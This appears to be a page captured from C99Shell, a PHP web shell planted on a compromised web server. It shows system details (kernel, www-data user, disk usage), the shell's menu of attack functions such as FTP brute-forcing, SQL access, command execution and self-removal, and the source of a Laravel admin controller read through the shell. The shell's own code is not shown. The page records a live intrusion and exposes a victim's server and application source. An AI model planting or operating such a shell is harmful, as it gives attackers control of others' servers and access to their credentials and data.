!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Http/Controllers/Admin/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MarketingController.php (2.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
App\Option;
use 
Cache;
use 
Auth;
class 
MarketingController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        
        if (!
Auth()->user()->can('marketing.tools')) {
            return 
abort(401);
        }
        
$info=Option::where('key','marketing_tool')->first();
        
$info=json_decode($info->value ?? '');
        return 
view('admin.marketing.index',compact('info'));
    }

    

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
        
$validatedData $request->validate([
           
            
'file' => 'mimes:json|max:50',

        ]);
        if (
$request->file) {
           
$path='uploads/';
           
$fileName 'service-account-credentials.'.$request->file->extension();
           
$request->file->move($path,$fileName);
       }

        
$info=Option::where('key','marketing_tool')->first();
        if (empty(
$info)) {
            
            
$data['ga_measurement_id']=$request->ga_measurement_id ?? '';
            
$data['analytics_view_id']=$request->analytics_view_id ?? '';
            
$data['google_status']=$request->google_status ?? '';
            
$data['fb_pixel']=$request->fb_pixel ?? '';
            
$data['fb_pixel_status']=$request->fb_pixel_status ?? '';
            
$info=new Option;
            
$info->key="marketing_tool";
        }
        else{
            
$old=json_decode($info->value);

            
$data['ga_measurement_id']=$request->ga_measurement_id ?? $old->ga_measurement_id;
            
$data['analytics_view_id']=$request->analytics_view_id ?? $old->analytics_view_id;
            
$data['google_status']=$request->google_status ?? $old->google_status;
            
$data['fb_pixel']=$request->fb_pixel ?? $old->fb_pixel;
            
$data['fb_pixel_status']=$request->fb_pixel_status ?? $old->fb_pixel_status;
        }

        
$info->value=json_encode($data);
        
$info->save();

        
Cache::forget('marketing_tool');
        return 
response()->json(['Tools Updated']);
    }

    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0412 ]--